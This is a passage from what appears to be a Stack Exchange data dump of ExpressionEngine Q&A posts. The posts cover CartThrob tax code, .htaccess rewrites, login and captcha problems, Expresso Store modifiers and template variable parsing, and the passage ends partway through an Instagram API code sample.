{&#xA;        if ($this-&amp;gt;core-&amp;gt;cart-&amp;gt;customer_info($prefix.'country_code') &amp;amp;&amp;amp; $tax_data['country'] == $this-&amp;gt;core-&amp;gt;cart-&amp;gt;customer_info($prefix.'country_code') &amp;amp;&amp;amp; $item-&amp;gt;item_options('tax_class') == $tax_data['tax_class'])&#xA;        {&#xA;            $this-&amp;gt;tax_data = $tax_data; &#xA;            return $this-&amp;gt;core-&amp;gt;round($price * $this-&amp;gt;tax_rate());&#xA;        }&#xA;        elseif (isset($tax_data['tax_class']) &amp;amp;&amp;amp; $tax_data['tax_class'] == &quot;GLOBAL&quot;)&#xA;        {&#xA;            // this doesn't account for 2 global classes&#xA;            $this-&amp;gt;tax_data = $tax_data; &#xA;            return $this-&amp;gt;core-&amp;gt;round($price * $this-&amp;gt;tax_rate());&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;    return $this-&amp;gt;core-&amp;gt;round($price * $this-&amp;gt;tax_rate());&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem, I think, is that $args[1] bit. This is an absolutely &lt;strong&gt;huge&lt;/strong&gt; object (too large to output to the browser without it crashing). The method then gets all the applicable tax classes from that object. However it seems to grab far more than it needs. For instance, with 2 items in the cart it comes up with 2 tax classes repeated 20 or more times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way the tax class is then applied effectively only applies the last one pulled out of the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seemed more sensible to me to grab the cart_items object (&lt;a href=&quot;http://cartthrob.com/docs/developers/tax_plugins/#cart_items&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/docs/developers/tax_plugins/#cart_items&lt;/a&gt;) and loop through it but this too yields the same huge object and I have had no luck getting it to work.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-04-02T08:55:17.790" LastActivityDate="2014-04-02T08:55:17.790" Title="Cartthrob multi-region/multi-class tax being incorrectly calculated" Tags="|cartthrob|bug|tax|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20886" PostTypeId="1" CreationDate="2014-04-01T14:56:42.577" Score="1" ViewCount="482" Body="&lt;p&gt;I have code in .htaccess file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RewriteEngine On&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RewriteCond %{REQUEST_FILENAME} !-f&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RewriteRule ^([^.]+)$ $1.php [NC,L]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My directory like..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www/careers/index.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And i have putten .htaccess file in www/careers directory&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it's not working..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i think it's not working only at localhost...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me my thing is true or i have done some mistake in code...or directory??&lt;/p&gt;&#xA;" OwnerUserId="2914" LastEditorUserId="2914" LastEditDate="2016-10-11T12:04:42.443" LastActivityDate="2016-10-11T12:04:42.443" Title="Remove .php extension from index.php. where .htaccess file is to be located?" Tags="|php|.htaccess|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20887" PostTypeId="2" ParentId="20886" CreationDate="2014-04-01T15:27:30.380" Score="1" Body="&lt;p&gt;99.9% of the time, you'll only need one copy of ExpressionEngine's index.php file, and it should live in the webroot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;www/index.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your .htaccess file with those mod_rewrite rules should be placed in the same directory as index.php:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;www/.htaccess&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those mod_rewrite rules will work for all URLs that are children of that directory, including /careers.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-04-01T15:27:30.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20888" PostTypeId="1" CreationDate="2014-04-01T15:43:23.863" Score="0" ViewCount="328" Body="&lt;p&gt;&lt;strong&gt;Situation:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Expression Engine v2.6.1 - Build Date: 20130506&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a live server and a dev server. They are identical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The problem&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the live site, members &lt;strong&gt;cannot&lt;/strong&gt; login on the front end. I can login with my admin un/pw to the control panel, but I &lt;strong&gt;cannot&lt;/strong&gt; via the front end. When I try to login I am taken to the homepage of the site and I am not logged in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The front end doesn't recognise that I am logged in in the control panel either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of this has just started today. No changes have been made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The dev server works as it should (logs in fine)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I have tried&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To solve this issue I have tried:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Changing the session options security settings&lt;/li&gt;&#xA;&lt;li&gt;Deleted cookies and browser history etc&lt;/li&gt;&#xA;&lt;li&gt;Setting a cookie name .example.com&lt;/li&gt;&#xA;&lt;li&gt;Checking to see if the front end recognises me as logged in to the control panel (it doesn't)&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I have set up a basic form to test logging in away from the main front-end code. Here is the form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:member:login_form return=&quot;http://www.exmaple.com/some_test&quot;}&#xA;    &amp;lt;p&amp;gt;&#xA;            &amp;lt;label&amp;gt;Username&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; name=&quot;username&quot; value=&quot;&quot; maxlength=&quot;32&quot; size=&quot;25&quot;&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;            &amp;lt;label&amp;gt;Password&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&#xA;            &amp;lt;input type=&quot;password&quot; name=&quot;password&quot; value=&quot;&quot; maxlength=&quot;32&quot; size=&quot;25&quot;&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&#xA;{/exp:member:login_form}&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Everything works on the dev site as expected. On the live site (using the test above) I try to login and it just re-routes me to homepage and doesn't log me in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apart from updating the CMS, what would be you recommend doing next?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This issue exists on Chrome, FF and Safari on Win7 and Mac 10.9&lt;/p&gt;&#xA;" OwnerUserId="1072" LastActivityDate="2014-04-03T09:51:17.710" Title="Login issues on front end - what to do now?" Tags="|members|login|cookies|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20889" PostTypeId="1" CreationDate="2014-04-01T15:55:02.103" Score="0" ViewCount="38" Body="&lt;p&gt;what permissions do I need to give editors to allow them to be able to delete zoo visitor members? They can edit them fine but when they click on 'delete' when on the edit page of a zoo visitor member they get 'Error: you are not authorized to access this page'. Is it just super admins that can delete zoo visitor members?&lt;/p&gt;&#xA;" OwnerUserId="988" LastActivityDate="2014-05-28T05:21:57.007" Title="Non super admin cannot delete zoo visitor member" Tags="|zoo-visitor|super-admin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20891" PostTypeId="2" ParentId="20889" CreationDate="2014-04-01T16:01:28.390" Score="1" Body="&lt;p&gt;I've just released I need to give them permissions to the EE 'member' area of the site. They can delete zoo visitor members now.&lt;/p&gt;&#xA;" OwnerUserId="988" LastActivityDate="2014-04-01T16:01:28.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20892" PostTypeId="1" AcceptedAnswerId="20895" CreationDate="2014-04-01T16:27:39.483" Score="0" ViewCount="1227" Body="&lt;p&gt;I am working on a contact page that uses Freeform 4.1.5 and for some reason the Captcha does not show.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have taken the required step of confirming that captcha is required for logged in users, but the Captcha does not show whether I am logged in or not. Am I missing something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form form_name=&quot;contact&quot; required=&quot;name|email&quot; return=&quot;contact/thanks&quot; require_captcha=&quot;yes&quot; }&#xA;&amp;lt;!--basic info start here--&amp;gt;&#xA;&amp;lt;div class=&quot;top-form&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;text-input&quot;&amp;gt;&#xA;&amp;lt;label for=&quot;name&quot;&amp;gt;name&amp;lt;/label&amp;gt;&amp;lt;br/&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;name&quot;  placeholder=&quot;Your First &amp;amp; Last Name&quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;text-input&quot;&amp;gt;&#xA;&amp;lt;label for=&quot;email&quot;&amp;gt;email&amp;lt;/label&amp;gt;&amp;lt;br/&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;email&quot; placeholder=&quot;myname@example.com&quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;text-input&quot;&amp;gt;&#xA;&amp;lt;label for=&quot;address&quot;&amp;gt;Address&amp;lt;/label&amp;gt;&amp;lt;br/&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;address&quot; placeholder=&quot;123 Coastal Lane&quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;text-input&quot;&amp;gt;&#xA;&amp;lt;label for=&quot;address2&quot;&amp;gt;City, State, Zip&amp;lt;/label&amp;gt;&amp;lt;br/&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;address2&quot; placeholder=&quot;Savannah, GA 31401&quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;text-input&quot;&amp;gt;&#xA;&amp;lt;label for=&quot;phone&quot;&amp;gt;Phone Number&amp;lt;/label&amp;gt;&amp;lt;br/&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;phone&quot; placeholder=&quot;(912) 555-1234&quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;{if freeform:captcha}&#xA;&amp;lt;div class=&quot;text-input&quot;&amp;gt;&#xA;{freeform:captcha}&amp;lt;br /&amp;gt;&#xA;&amp;lt;label for=&quot;captcha&quot;&amp;gt;enter the word you see in the image&amp;lt;/label&amp;gt;&amp;lt;br/&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;captcha&quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/if} &#xA;&#xA;&amp;lt;!--questions &amp;amp; comments start here--&amp;gt;&#xA;&amp;lt;div class=&quot;submit&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; value=&quot;Submit&quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;!--questions &amp;amp; comments end here--&amp;gt;&#xA;{/exp:freeform:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="258" LastActivityDate="2014-04-01T17:35:02.777" Title="Why doesn't Freeform Captcha show?" Tags="|solspace-freeform|captcha|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20893" PostTypeId="1" AcceptedAnswerId="21034" CreationDate="2014-04-01T16:37:41.397" Score="1" ViewCount="257" Body="&lt;p&gt;Using Store 1.6.3&#xA;I have only two shipping methods: Collect in store (free), or UK flat delivery fee of £4 per order. When a customer chooses the delivery fee, but then unticks the Shipping Details are the Same as Billing Details, and adds a different shipping address, the method name doesn't change, but the value goes to zero (should stay £4)! I have tested this myself using two UK addresses and sure enough, the total reverts back to £4 once my shipping and billing addresses match. &#xA;The live site: &lt;a href=&quot;http://www.thirstymeeples.co.uk/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.thirstymeeples.co.uk/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas what causes this? Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fE2oe.jpg&quot; alt=&quot;Shipping Methods&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/L966f.jpg&quot; alt=&quot;Shipping Method&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/KKeSL.jpg&quot; alt=&quot;Shipping Rule&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="437" LastActivityDate="2014-04-07T01:21:24.517" Title="Store Shipping Method Changes if Shipping and Billing Details Don't Match" Tags="|expresso-store|expresso|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20894" PostTypeId="2" ParentId="20870" CreationDate="2014-04-01T16:38:14.117" Score="3" Body="&lt;p&gt;According to the docs &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#search-field-name&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#search-field-name&lt;/a&gt; only fields of the type “Text Input”, “Textarea”, and “Drop-down Lists” are searched with this parameter.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-04-01T16:38:14.117" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20895" PostTypeId="2" ParentId="20892" CreationDate="2014-04-01T17:35:02.777" Score="2" Body="&lt;p&gt;Check the permissions on your images/captchas directory. It needs to be writeable so the system can store Captcha images in there.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-04-01T17:35:02.777" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20896" PostTypeId="1" AcceptedAnswerId="20972" CreationDate="2014-04-01T18:36:56.507" Score="1" ViewCount="278" Body="&lt;p&gt;I'm trying to retrieve price value for first modifier (&lt;em&gt;only&lt;/em&gt;) within &lt;strong&gt;entries&lt;/strong&gt; tag. My code looks like&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{if product_details:price_val!=0}&#xA;    {product_details:price_val}&#xA; {if:else}&#xA; {product_details:modifiers}&#xA;     {product_details:price_mod_val}&#xA;  {/product_details:modifiers}&#xA; {/if}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but always it returns an empty value for first modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clue hot to bite that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="1577" LastEditDate="2014-04-02T14:46:47.653" LastActivityDate="2014-04-08T16:31:25.730" Title="Expresso Store, modifiers and price value for first modifier" Tags="|expresso-store|price-modifier|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20897" PostTypeId="1" AcceptedAnswerId="20944" CreationDate="2014-04-01T19:33:49.533" Score="3" ViewCount="65" Body="&lt;p&gt;This is an odd one and I'm wondering if we can just confirm here that it is some weirdness created in EE 2.8.x.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just had a NavEE user contact me that when INSTALLING the module, they are seeing the message, &quot;All data associated with this fieldtype, including all associated channel data, will be permanently deleted!&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to me that this message is here in error - but I wanted to confirm. I can replicate the issue when installing addons in EE 2.8.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MW&lt;/p&gt;&#xA;" OwnerUserId="271" LastActivityDate="2014-04-02T21:03:03.060" Title="EE 2.8.x - &quot;All data associated...will be permanently deleted!&quot; when installing an addon" Tags="|module|install|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20898" PostTypeId="1" AcceptedAnswerId="20913" CreationDate="2014-04-01T20:37:40.953" Score="0" ViewCount="494" Body="&lt;p&gt;We have a custom third-party module called qo5. All of our controllers are in there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a template that I need to pass a variable from a PHP function to. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:qo5 action=&quot;deal/getDealCode&quot;}&#xA;    &amp;lt;span&amp;gt;Test: {default_combo_override}&amp;lt;/span&amp;gt;&#xA;{/exp:qo5}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;deal/getDealCode&lt;/code&gt; function looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getDealCode() {&#xA;        $deal_id = $this-&amp;gt;EE-&amp;gt;input-&amp;gt;post('deal_id');&#xA;        $deal_code = $_SESSION['order']['coupons'][$deal_id]['code'];&#xA;        error_log(&quot;deal code: &quot; . $deal_code);&#xA;&#xA;        if($deal_code == 'GARLICPARM') {&#xA;                $data['default_combo_override'] = 'AT';&#xA;                error_log(&quot;Data&quot;);&#xA;                error_log(print_r($data, 1));&#xA;                return $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata, $data);&#xA;            }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know it's being called; the error log is executing and displaying the correct data. But the span value for &lt;code&gt;default_combo_override&lt;/code&gt; is not being populated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing here? We use similar functionality all over the place, and it works everywhere else.&lt;/p&gt;&#xA;" OwnerUserId="1008" LastActivityDate="2014-04-02T12:43:09.570" Title="Template variable not parsing" Tags="|templates|variable|parse|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20899" PostTypeId="1" AcceptedAnswerId="20977" CreationDate="2014-04-01T21:04:08.800" Score="0" ViewCount="1904" Body="&lt;p&gt;I've just started to install expression engine 2.8.1 (for the record I experienced the exact same problem with version 2.7.3) I've installed expression engine god knows how many times and have 6 copies of expression engine on the same server but when I go to run the installer I am experiencing the error &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Unable to locate the specified class: Security.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Has anyone experienced this before and if so, what was the fix? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2734" LastEditorUserId="2734" LastEditDate="2014-04-02T16:22:07.293" LastActivityDate="2014-05-08T14:15:17.550" Title="Unable to locate the specified class: Security.php" Tags="|error|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20900" PostTypeId="2" ParentId="20896" CreationDate="2014-04-01T21:44:29.223" Score="0" Body="&lt;p&gt;To pull out the price for a modifier you should just need to do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{modifiers}&#xA;    {modifier_options}&#xA;        {if price_mod_val} ({price_mod}) {/if}&#xA;    {/modifier_options}&#xA;{/modifiers}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will usually be done inside a select box for allowing a selection of each modifier option but above I've just stripped out all the HTML to place emphases on the Store tags only. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{price_mod}&lt;/code&gt; is the one which displays the price and &lt;code&gt;{if price_mod_val}&lt;/code&gt; checks if it has a price to show&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-04-01T21:44:29.223" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20901" PostTypeId="1" CreationDate="2014-04-01T22:49:21.393" Score="1" ViewCount="56" Body="&lt;pre&gt;&lt;code&gt;{content_a}&#xA;    {wygwam:excerpt}&#xA;        {value}&#xA;    {/wygwam}&#xA;    {wygwam:extended}&#xA;        {value}&#xA;    {/wygwam}&#xA;{/content_a}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I wanted to have a readmore button instead, The code above outputs everything from the entry id&#xA;Can you help me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Legend:&#xA;Content_a = contentelement field&#xA;Wygwam = wygwam under contentelement field&lt;/p&gt;&#xA;" OwnerUserId="2917" LastActivityDate="2016-05-21T14:00:41.297" Title="Using wygwam with readmore under contentelements" Tags="|wygwam|content-elements|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20902" PostTypeId="2" ParentId="20847" CreationDate="2014-04-01T23:31:59.027" Score="1" Body="&lt;p&gt;@cscott, were you saving your templates to the file system? I assume yes because you mention ftp. Check in your Exp Eng control panel under design &gt; templates &gt; global preferences. Is the file directory for templates that points to still valid? Are there any files there when you look using an ftp client? Next check the 'synchronize templates' and see if there is a green check mark next to all of them. If not then synchronize all of the templates. Also check if all of your template groups are there in the template manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what you mean by being able to see 'raw html but no css or ee templates'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will likely have to reset all of the channel settings in Structure and then add each content entry back to Structure using the 'structure' tab in the Edit screen of Exp Eng for each entry. Unfortunately uninstalling the module does lose all the info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you can get a backup from the hosting company just prior to the outage that would be optimal. Likely there is a mismatch currently between what is in the Exp Eng database and what is in the actual file system. Unfortunately you'll have to track down each mismatch one at a time.&lt;/p&gt;&#xA;" OwnerUserId="505" LastActivityDate="2014-04-01T23:31:59.027" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20903" PostTypeId="2" ParentId="20898" CreationDate="2014-04-02T00:42:52.197" Score="0" Body="&lt;p&gt;Have you tried putting the parsed_variable into a new variable and then returning that?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$output = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata, $data);&#xA;return $output ;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="505" LastActivityDate="2014-04-02T00:42:52.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20904" PostTypeId="2" ParentId="20819" CreationDate="2014-04-02T02:21:44.960" Score="0" Body="&lt;p&gt;Bob's post had me rethink the embed tag that I had, and in doing so I realized that there was an error in what was being fed to the fixed_order parameter.  Once I fixed this, things started to populate as expected.&lt;/p&gt;&#xA;" OwnerUserId="284" LastActivityDate="2014-04-02T02:21:44.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20905" PostTypeId="1" AcceptedAnswerId="20943" CreationDate="2014-04-02T06:46:52.853" Score="0" ViewCount="96" Body="&lt;p&gt;I Use the &lt;a href=&quot;http://biberltd.com/de/documentation/software/biber_ltd_multi_language_support/&quot; rel=&quot;nofollow&quot;&gt;Multilanguage Add-On&lt;/a&gt; from Bieber ltd. I now want also to ad caching to my site with CE Cache. I almost works but ce cache doesn't take the language segment in the url into account. The sites are delivered in one language no matter if domain.com/de or domain.com/en&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already fount a &lt;a href=&quot;http://devot-ee.com/add-ons/support/ce-cache/viewthread/4638&quot; rel=&quot;nofollow&quot;&gt;devot:ee thread&lt;/a&gt; but I don't know where to place and how to alter the string mentioned in this thread so the URI is correct. Anybody solved this problem?&lt;/p&gt;&#xA;" OwnerUserId="184" LastActivityDate="2014-04-02T20:35:27.533" Title="CE Cache + Multilanguage" Tags="|multi-language|ce-cache|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20906" PostTypeId="2" ParentId="20108" CreationDate="2014-04-02T08:33:05.053" Score="1" Body="&lt;p&gt;I'm not sure it actually will add the free item automatically to the cart. In fact I'm pretty sure that's not what the plugin is meant to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you add the free item manually then you should see that it gets discounted from the total. I think that's all the plugin does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may need to create a 'package' product that contains the 2 items.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-04-02T08:33:05.053" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20907" PostTypeId="1" CreationDate="2014-04-02T08:55:26.447" Score="1" ViewCount="526" Body="&lt;p&gt;Is there module to improve the errors in Expression engine ? The in build system is pretty cumbersome and without spending time building multiple form validation classes I would like something that does not send you to the error page but shows the errors on the current page.&lt;/p&gt;&#xA;" OwnerUserId="2616" LastEditorUserId="55" LastEditDate="2014-04-02T12:39:22.400" LastActivityDate="2014-05-03T14:24:49.590" Title="Displaying form submission errors inline" Tags="|error|validation|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="20908" PostTypeId="2" ParentId="20723" CreationDate="2014-04-02T09:47:51.020" Score="0" Body="&lt;p&gt;Was more complicated than I first laid it out to be. We had to create a plugin for it. No answer here because the solution specifically fixed a feature that is not found normally. But yes, Nick Benson's points on URL segments is valid. &lt;/p&gt;&#xA;" OwnerUserId="2865" LastActivityDate="2014-04-02T09:47:51.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20910" PostTypeId="2" ParentId="14460" CreationDate="2014-04-02T11:27:30.353" Score="1" Body="&lt;p&gt;Usually this is because {exp:cartthrob:get_shipping_options} loop not setting value  for &quot;shipping_option&quot;.&#xA;I'm using something like that (inside update_cart_form):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{if cart_shipping==&quot;0.00&quot;}&#xA;  &amp;lt;input type=&quot;hidden&quot; name=&quot;shipping_option&quot; value=&quot;personal_pick_up&quot;&amp;gt;&#xA;{/if}&#xA;{if cart_shipping==&quot;20.00&quot;}&#xA;  &amp;lt;input type=&quot;hidden&quot; name=&quot;shipping_option&quot; value=&quot;overnight&quot;&amp;gt;&#xA;{/if}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{cart_shipping} can have format like &quot;20.00 $&quot;&lt;/p&gt;&#xA;" OwnerUserId="2921" LastActivityDate="2014-04-02T11:27:30.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20911" PostTypeId="1" CreationDate="2014-04-02T11:27:58.193" Score="1" ViewCount="303" Body="&lt;p&gt;I have been using an instagram class in projects for Laravel and other small php sites and it has seemed to work well. I include a require_once in my functions file. I then create a function that calls the instagram class and then in my template I call the function and it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the instagram class on github: &lt;a href=&quot;https://github.com/cosenary/Instagram-PHP-API&quot; rel=&quot;nofollow&quot;&gt;https://github.com/cosenary/Instagram-PHP-API&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Heres a simple example on a recent wp site I did:&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;The function&lt;/h1&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once('includes/instagram.class.php');&#xA;&#xA;function get_instagram_image() {&#xA;&#xA;    $instagram = new Instagram('253daacbd2b849dd9d1255ecf26088b7');&#xA;    $name = 'Ahastag';&#xA;    $result = $instagram-&amp;gt;getTagMedia($name);&#xA;&#xA;    foreach ($result-&amp;gt;data as $media) {&#xA;            $content = &quot;&amp;lt;li class='col5-1'&amp;gt;&quot;;&#xA;&#xA;            // output media&#xA;            if ($media-&amp;gt;type === 'video') {&#xA;              // video&#xA;              $poster = $media-&amp;gt;images-&amp;gt;standard_resolution-&amp;gt;url;&#xA;              $source = $media-&amp;gt;videos-&amp;gt;standard_resolution-&amp;gt;url;&#xA;              $content .= &quot;&amp;lt;video class=\&quot;media video-js vjs-default-skin\&quot; width=\&quot;250\&quot; height=\&quot;250\&quot; poster=\&quot;{$poster}\&quot;&#xA;                           data-setup='{\&quot;controls\&quot;:true, \&quot;preload\&quot;: \&quot;auto\&quot;}'&amp;gt;&#xA;                             &amp;lt;source src=\&quot;{$source}\&quot; type=\&quot;video/mp4\&quot; /&amp;gt;&#xA;                           &amp;lt;/video&amp;gt;&quot;;&#xA;            } else {&#xA;              // image&#xA;              $image = $media-&amp;gt;images-&amp;gt;standard_resolution-&amp;gt;url;&#xA;              $content .= &quot;&amp;lt;img class=\&quot;media\&quot; src=\&quot;{$image}\&quot;/&amp;gt;&quot;;&#xA;            }&#xA;&#xA;            // create meta section&#xA;            $avatar = $media-&amp;gt;user-&amp;gt;profile_picture;&#xA;            $username = 